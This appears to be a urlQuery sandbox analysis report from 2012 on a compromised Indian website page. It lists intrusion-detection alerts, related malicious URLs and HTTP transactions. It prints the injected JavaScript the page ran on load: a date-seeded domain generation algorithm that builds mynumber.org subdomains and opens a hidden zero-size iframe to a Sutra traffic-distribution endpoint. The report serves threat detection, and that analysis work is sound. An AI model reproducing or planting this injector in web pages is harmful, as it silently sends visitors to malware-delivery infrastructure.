Overview

URLhttp://kc.rems.co.in/events_detail.php?id=11
IP199.168.189.177
ASNAS33182 HostDime.com, Inc.
Location United States
Report completed2012-11-08 04:16:48 CET
StatusLoading report..
urlQuery Alerts Detected a Dynamic DNS URL
Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-08 04:16:17 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:16:19 urlQuery Client 31.148.219.62ET CURRENT_EVENTS TDS Sutra - request in.cgi
2012-11-08 04:16:19 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-08 04:16:18 urlQuery Client 31.148.219.61MALWARE-CNC TDS Sutra - request in.cgi


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 199.168.189.177

Date Alerts / IDS URL IP
2012-12-27 00:55:511 / 3http://remotechplctraining.com/hmi.php199.168.189.177
2012-12-26 03:30:521 / 2http://remotechplctraining.com/pneumatic.php199.168.189.177
2012-11-08 09:57:022 / 1http://www.kc.rems.co.in/gallery.php?id=48199.168.189.177
2012-11-08 09:48:132 / 2http://www.kc.rems.co.in/gallery.php?id=44199.168.189.177
2012-11-08 09:42:162 / 2http://www.kc.rems.co.in/gallery.php?id=41199.168.189.177
2012-11-08 09:40:162 / 2http://www.kc.rems.co.in/gallery.php?id=36199.168.189.177

Last 6 reports on ASN: AS33182 HostDime.com, Inc.

Date Alerts / IDS URL IP
2013-02-15 05:29:110 / 0http://buzurl.com/hy1872.29.69.139
2013-02-14 18:45:461 / 0http://bonadies.com.br/hezs.html?h=117415366.7.218.130
2013-02-14 15:47:300 / 0http://www.himalisherpa.com/middle.php72.29.65.177
2013-02-14 14:59:030 / 2http://www.bestlifeinsurancecompanyforme.org/wp-includes/js/tinymce/utils/webmail/Buckeye-Expre (...)198.49.65.146
2013-02-14 07:26:090 / 2http://www.ondavakera.com/tmp/6nhk7e.php?receipt_print=ss00_32364.37.53.33
2013-02-14 05:02:231 / 0http://soholaunch-templates.com/index.php?pr=free_soho_templates66.7.193.74

Last 6 reports on domain: kc.rems.co.in

Date Alerts / IDS URL IP
2012-11-08 04:34:062 / 14http://kc.rems.co.in/search.php?cx=003236507415044781701:sr7cntrmf9c199.168.189.177
2012-11-08 04:30:342 / 9http://kc.rems.co.in/preview_detail.php?id=27199.168.189.177
2012-11-08 04:25:402 / 10http://kc.rems.co.in/news_detail.php?id=5199.168.189.177
2012-11-08 04:23:222 / 13http://kc.rems.co.in/movie_detail.php?id=31199.168.189.177
2012-11-08 04:22:222 / 3http://kc.rems.co.in/events_detail.php?id=22199.168.189.177
2012-11-08 04:21:082 / 1http://kc.rems.co.in/events_detail.php?id=20199.168.189.177



JavaScript

Executed Scripts (30)


Executed Evals (1)

#1 JavaScript::Eval (size: 1781, repeated: 3) 

function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = Math.ceil(d.getHours() / 3);
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var letters = "qmahgwctopfjilrfpjrfcwgewheizwdw".split('');
    var str = '';
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}

setInterval(function() {
    try {
        if (typeof iframeWasCreated == "undefined") {
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'mynumber.org');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/in.cgi?14");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
            iframeWasCreated = true;
        }
    } catch (e) {
        iframeWasCreated = undefined;
    }
}, 100);

Executed Writes (3)

#1 JavaScript::Write (size: 142, repeated: 2) 

<link href="http://www.google.com/uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.css" type="text/css" rel="stylesheet"></link>

#2 JavaScript::Write (size: 89, repeated: 1) 

<script src="http://www.google.com/uds/?file=search&v=1" type="text/javascript"></script>

#3 JavaScript::Write (size: 136, repeated: 2) 

<script src="http://www.google.com/uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.I.js" type="text/javascript"></script>


HTTP Transactions (46)


Request Response 
GET /images/kc_logo.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:16:16 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:48 GMT
Etag: &quot;478002f-38d-4b0ab10682700&quot;
Accept-Ranges: bytes
Content-Length: 909
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /css/gallery.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:16:16 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:48 GMT
Etag: &quot;478c1cb-5aa-4b0ab0cd4a000&quot;
Accept-Ranges: bytes
Content-Length: 1450
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /events_detail.php?id=11 HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Date: Thu, 08 Nov 2012 03:16:16 GMT
Server: Apache
X-Powered-By: PHP/5.3.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887; path=/
Content-Length: 29336
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /js/curvycorners.src.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:16:16 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:03:50 GMT
Etag: &quot;478c20c-8ddf-4cde8301a9d80&quot;
Accept-Ranges: bytes
Content-Length: 36319
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /style.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:16:16 GMT
Server: Apache
Last-Modified: Tue, 08 Nov 2011 12:15:35 GMT
Etag: &quot;47686d2-9a74-4b13820e4e7c0&quot;
Accept-Ranges: bytes
Content-Length: 39540
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /jsapi HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=utf-8

Expires: Thu, 08 Nov 2012 03:16:18 GMT
Date: Thu, 08 Nov 2012 03:16:18 GMT
Cache-Control: private, max-age=3600, must-revalidate
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 6069
Server: GSE
GET /uds/?file=search&v=1 HTTP/1.1

Host: www.google.com
GET /uds/?file=search&amp;v=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=utf-8

Expires: Thu, 08 Nov 2012 03:16:18 GMT
Date: Thu, 08 Nov 2012 03:16:18 GMT
Cache-Control: private, max-age=3600, must-revalidate
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 284
Server: GSE
GET /cse/brand?form=cse-search-box&lang=en HTTP/1.1

Host: www.google.com
GET /cse/brand?form=cse-search-box&amp;lang=en HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Date: Wed, 07 Nov 2012 20:35:07 GMT
Expires: Fri, 09 Nov 2012 20:35:07 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: pfe
Content-Length: 1123
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Cache-Control: public, max-age=172800
Age: 24071
GET /uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.css HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/css; charset=UTF-8

Expires: Thu, 07 Nov 2013 20:35:06 GMT
Date: Wed, 07 Nov 2012 20:35:06 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=31536000
Content-Length: 8562
Age: 24072
GET /images/spacer.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:16:18 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:23 GMT
Etag: &quot;478009e-2b-4b0ab127e35c0&quot;
Accept-Ranges: bytes
Content-Length: 43
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /images/sprite.png HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 03:16:18 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:26 GMT
Etag: &quot;4780098-1144-4b0ab12abfc80&quot;
Accept-Ranges: bytes
Content-Length: 4420
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /images/logo.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:16:18 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:53 GMT
Etag: &quot;4780035-17a8-4b0ab10b47240&quot;
Accept-Ranges: bytes
Content-Length: 6056
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /css/default+en.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:16:18 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:47 GMT
Etag: &quot;478c1f1-8045-4b0ab0cc55dc0&quot;
Accept-Ranges: bytes
Content-Length: 32837
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.I.js HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript; charset=UTF-8

Expires: Thu, 07 Nov 2013 20:35:25 GMT
Date: Wed, 07 Nov 2012 20:35:25 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=31536000
Content-Length: 73574
Age: 24053
GET /in.cgi?14 HTTP/1.1

Host: arhfhldfzodhlmpe.mynumber.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
 
HTTP/1.1 302 Found

Content-Type: text/html

Server: nginx
Date: Thu, 08 Nov 2012 03:16:18 GMT
Connection: keep-alive
Set-Cookie: folqb14=_0_; domain=arhfhldfzodhlmpe.mynumber.org; path=/; expires=Sun, 26-Aug-2012 03:25:40 GMT
Location: http://bing.com/
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 150
GET /js/default+en.I.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:16:18 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:03:54 GMT
Etag: &quot;478c20d-21d08-4cde83057a680&quot;
Accept-Ranges: bytes
Content-Length: 138504
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /images/sprite2.png HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 03:16:19 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:27 GMT
Etag: &quot;478006d-1dd-4b0ab12bb3ec0&quot;
Accept-Ranges: bytes
Content-Length: 477
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /images/more-btn.png HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=98d56766d4f1338dd0f52592da07f887
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 03:16:19 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:56 GMT
Etag: &quot;4780093-598-4b0ab10e23900&quot;
Accept-Ranges: bytes
Content-Length: 1432
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /en_US/all.js HTTP/1.1

Host: connect.facebook.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript; charset=utf-8

Etag: &quot;c5b187538f326447532db0bef11d40db&quot;
Content-Encoding: gzip
X-FB-Debug: Qhxwh5uYqVvxRcL547mkU/te7GEpMEU4DeR5i33/L1A=
Content-Length: 58133
Cache-Control: public, max-age=466
Expires: Thu, 08 Nov 2012 03:24:05 GMT
Date: Thu, 08 Nov 2012 03:16:19 GMT
Connection: keep-alive
Vary: Accept-Encoding
GET / HTTP/1.1

Host: bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
 
HTTP/1.1 301 Moved Permanently

HTTP/1.1 301 Moved Permanently

Cache-Control: no-cache
Location: http://www.bing.com/
Edge-control: no-store
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Set-Cookie: _HOP=I=1&amp;TS=1352344579; domain=bing.com; path=/
Date: Thu, 08 Nov 2012 03:16:19 GMT
Content-Length: 0
GET /connect/xd_arbiter.php?version=15 HTTP/1.1

Host: static.ak.facebook.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip
X-FB-Debug: Hdwol+f2c8xpZaDJPahHzPzDW//j9se64jH/Q+ie9Oo=
Content-Length: 9723
Vary: Accept-Encoding
Cache-Control: public, max-age=31391147
Expires: Wed, 06 Nov 2013 11:02:06 GMT
Date: Thu, 08 Nov 2012 03:16:19 GMT
Connection: keep-alive
GET / HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/events_detail.php?id=11
Cookie: _HOP=I=1&amp;TS=1352344579
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Cache-Control: private, max-age=0
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 12545
Date: Thu, 08 Nov 2012 03:16:19 GMT
Connection: keep-alive
Set-Cookie: _FP=EM=1; expires=Sat, 08-Nov-2014 03:16:19 GMT; domain=.bing.com; path=/
_FS=NU=1; domain=.bing.com; path=/
_HOP=; domain=.bing.com; path=/
_SS=SID=CF6EB50C24764B21866F41CBE347B854; domain=.bing.com; path=/
MUID=3218EB902A59673F08F3EF822B5E670E; expires=Sat, 08-Nov-2014 03:16:19 GMT; domain=.bing.com; path=/
OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; expires=Sat, 08-Nov-2014 03:16:19 GMT; domain=.bing.com; path=/
SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:16:19 GMT; domain=.bing.com; path=/
SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; expires=Sat, 08-Nov-2014 03:16:19 GMT; path=/
SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; expires=Sat, 08-Nov-2014 03:16:19 GMT; domain=.bing.com; path=/
GET /fd/s/a/hpc3.png HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854; MUID=3218EB902A59673F08F3EF822B5E670E; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=D=2553316&amp;MS=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 14 Aug 2012 20:38:35 GMT
Content-Length: 5448
X-N: S
Cache-Control: public, max-age=8810803
Date: Thu, 08 Nov 2012 03:16:19 GMT
Connection: keep-alive
GET /images/web_70.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
